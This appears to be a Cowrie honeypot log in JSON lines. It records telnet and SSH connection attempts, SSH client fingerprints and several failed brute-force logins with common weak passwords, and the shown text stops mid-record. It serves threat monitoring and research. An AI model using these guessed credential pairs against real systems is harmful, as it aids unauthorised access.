{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46092,"dst_ip":"159.203.135.109","dst_port":23,"session":"e187f2418be8","protocol":"telnet","message":"New connection: 46.4.8.162:46092 (159.203.135.109:23) [session: e187f2418be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:14.832359Z"}
{"eventid":"cowrie.session.closed","duration":31.422072410583496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:16.679364Z","src_ip":"46.4.8.162","session":"4c8eb32b006f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720802545547485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:19.096085Z","src_ip":"185.207.251.163","session":"cee279030844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2b5737df6bb","protocol":"telnet","message":"New connection: 46.4.8.162:44032 (159.203.135.109:23) [session: f2b5737df6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:23.936543Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44044,"dst_ip":"159.203.135.109","dst_port":23,"session":"043d673ca568","protocol":"telnet","message":"New connection: 46.4.8.162:44044 (159.203.135.109:23) [session: 043d673ca568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:25.315549Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44046,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7d8d2ad7b1","protocol":"telnet","message":"New connection: 46.4.8.162:44046 (159.203.135.109:23) [session: 8b7d8d2ad7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:25.346720Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44060,"dst_ip":"159.203.135.109","dst_port":23,"session":"e88bdd3eaf06","protocol":"telnet","message":"New connection: 46.4.8.162:44060 (159.203.135.109:23) [session: e88bdd3eaf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:26.103040Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":36656,"dst_ip":"159.203.135.109","dst_port":23,"session":"033c8a156afd","protocol":"telnet","message":"New connection: 185.207.251.163:36656 (159.203.135.109:23) [session: 033c8a156afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:26.295989Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":48716,"dst_ip":"159.203.135.109","dst_port":22,"session":"d495d472ad55","protocol":"ssh","message":"New connection: 103.148.100.146:48716 (159.203.135.109:22) [session: d495d472ad55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:28.675130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:28.681598Z","src_ip":"103.148.100.146","session":"d495d472ad55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:28.941868Z","src_ip":"103.148.100.146","session":"d495d472ad55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44074,"dst_ip":"159.203.135.109","dst_port":23,"session":"187913e747b2","protocol":"telnet","message":"New connection: 46.4.8.162:44074 (159.203.135.109:23) [session: 187913e747b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:29.655477Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44090,"dst_ip":"159.203.135.109","dst_port":23,"session":"c69293266614","protocol":"telnet","message":"New connection: 46.4.8.162:44090 (159.203.135.109:23) [session: c69293266614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:29.836352Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1qaz2wsx3edc","message":"login attempt [alex/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:30.018000Z","src_ip":"103.148.100.146","session":"d495d472ad55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:31.290555Z","src_ip":"103.148.100.146","session":"d495d472ad55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73479723930359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:32.275246Z","src_ip":"46.4.8.162","session":"43c1bb55a137","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40498,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c48387a4482","protocol":"telnet","message":"New connection: 188.166.220.49:40498 (159.203.135.109:23) [session: 8c48387a4482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:34.382089Z"}
{"eventid":"cowrie.session.closed","duration":34.45551586151123,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:36.124762Z","src_ip":"46.4.8.162","session":"d380736f5a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48868,"dst_ip":"159.203.135.109","dst_port":23,"session":"1450cb3a1fed","protocol":"telnet","message":"New connection: 46.4.8.162:48868 (159.203.135.109:23) [session: 1450cb3a1fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:36.279584Z"}
{"eventid":"cowrie.session.closed","duration":30.482378244400024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:37.130999Z","src_ip":"185.207.251.163","session":"43ee6c7b189f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34022,"dst_ip":"159.203.135.109","dst_port":22,"session":"a43d7fbe6763","protocol":"ssh","message":"New connection: 159.203.92.129:34022 (159.203.135.109:22) [session: a43d7fbe6763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:37.870957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:37.877191Z","src_ip":"159.203.92.129","session":"a43d7fbe6763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:37.883356Z","src_ip":"159.203.92.129","session":"a43d7fbe6763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3r4t5","message":"login attempt [admin/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:37.895661Z","src_ip":"159.203.92.129","session":"a43d7fbe6763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48878,"dst_ip":"159.203.135.109","dst_port":23,"session":"e774361499c7","protocol":"telnet","message":"New connection: 46.4.8.162:48878 (159.203.135.109:23) [session: e774361499c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:38.323163Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:38.905788Z","src_ip":"159.203.92.129","session":"a43d7fbe6763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48886,"dst_ip":"159.203.135.109","dst_port":23,"session":"845d231d23de","protocol":"telnet","message":"New connection: 46.4.8.162:48886 (159.203.135.109:23) [session: 845d231d23de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:39.324253Z"}
{"eventid":"cowrie.session.closed","duration":34.38687038421631,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:39.956306Z","src_ip":"188.166.220.49","session":"80c92de597d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":48198,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1f097d3192","protocol":"telnet","message":"New connection: 188.166.220.49:48198 (159.203.135.109:23) [session: be1f097d3192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:41.042242Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":32830,"dst_ip":"159.203.135.109","dst_port":23,"session":"14bbb331aa21","protocol":"telnet","message":"New connection: 46.4.8.162:32830 (159.203.135.109:23) [session: 14bbb331aa21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:45.296591Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":32832,"dst_ip":"159.203.135.109","dst_port":23,"session":"59bfe98f54ab","protocol":"telnet","message":"New connection: 46.4.8.162:32832 (159.203.135.109:23) [session: 59bfe98f54ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:48.039243Z"}
{"eventid":"cowrie.session.closed","duration":34.4731719493866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:49.305402Z","src_ip":"46.4.8.162","session":"e187f2418be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":32846,"dst_ip":"159.203.135.109","dst_port":23,"session":"6047be2c0a0f","protocol":"telnet","message":"New connection: 46.4.8.162:32846 (159.203.135.109:23) [session: 6047be2c0a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:52.122005Z"}
{"eventid":"cowrie.session.closed","duration":30.838033199310303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:57.133894Z","src_ip":"185.207.251.163","session":"033c8a156afd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17807698249817,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:57.524694Z","src_ip":"46.4.8.162","session":"8b7d8d2ad7b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.744889974594116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:57.681314Z","src_ip":"46.4.8.162","session":"f2b5737df6bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47839641571045,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:57.793822Z","src_ip":"46.4.8.162","session":"043d673ca568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.797614097595215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:26:59.900559Z","src_ip":"46.4.8.162","session":"e88bdd3eaf06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671034336090088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:00.507289Z","src_ip":"46.4.8.162","session":"c69293266614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7552490234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:01.410582Z","src_ip":"46.4.8.162","session":"187913e747b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53620,"dst_ip":"159.203.135.109","dst_port":23,"session":"753a8dda9bf5","protocol":"telnet","message":"New connection: 46.4.8.162:53620 (159.203.135.109:23) [session: 753a8dda9bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:09.256560Z"}
{"eventid":"cowrie.session.closed","duration":34.97759795188904,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:09.359540Z","src_ip":"188.166.220.49","session":"8c48387a4482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64301538467407,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:09.922450Z","src_ip":"46.4.8.162","session":"1450cb3a1fed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48550033569336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:12.808532Z","src_ip":"46.4.8.162","session":"e774361499c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28037881851196,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:13.604488Z","src_ip":"46.4.8.162","session":"845d231d23de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88218307495117,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:14.924297Z","src_ip":"188.166.220.49","session":"be1f097d3192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52694,"dst_ip":"159.203.135.109","dst_port":23,"session":"feb12625d61f","protocol":"telnet","message":"New connection: 46.4.8.162:52694 (159.203.135.109:23) [session: feb12625d61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:17.032620Z"}
{"eventid":"cowrie.session.closed","duration":32.53266263008118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:17.829158Z","src_ip":"46.4.8.162","session":"14bbb331aa21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58975958824158,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:20.628875Z","src_ip":"46.4.8.162","session":"59bfe98f54ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57704,"dst_ip":"159.203.135.109","dst_port":22,"session":"311a413cbd21","protocol":"ssh","message":"New connection: 159.203.92.129:57704 (159.203.135.109:22) [session: 311a413cbd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:22.986955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:22.993686Z","src_ip":"159.203.92.129","session":"311a413cbd21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:22.998874Z","src_ip":"159.203.92.129","session":"311a413cbd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaz!@#123","message":"login attempt [admin/qaz!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:23.015286Z","src_ip":"159.203.92.129","session":"311a413cbd21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.115751266479492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:23.237643Z","src_ip":"46.4.8.162","session":"6047be2c0a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:24.022704Z","src_ip":"159.203.92.129","session":"311a413cbd21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57816,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f0f8cff3734","protocol":"telnet","message":"New connection: 46.4.8.162:57816 (159.203.135.109:23) [session: 0f0f8cff3734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:24.277513Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57834,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdd7161d2fcc","protocol":"telnet","message":"New connection: 46.4.8.162:57834 (159.203.135.109:23) [session: fdd7161d2fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:25.998798Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57828,"dst_ip":"159.203.135.109","dst_port":23,"session":"8289f952097d","protocol":"telnet","message":"New connection: 46.4.8.162:57828 (159.203.135.109:23) [session: 8289f952097d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:27.607217Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57842,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d39598f434","protocol":"telnet","message":"New connection: 46.4.8.162:57842 (159.203.135.109:23) [session: 35d39598f434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:28.155902Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":38224,"dst_ip":"159.203.135.109","dst_port":22,"session":"abb8a66c5efb","protocol":"ssh","message":"New connection: 103.148.100.146:38224 (159.203.135.109:22) [session: abb8a66c5efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:31.353772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:31.358950Z","src_ip":"103.148.100.146","session":"abb8a66c5efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ec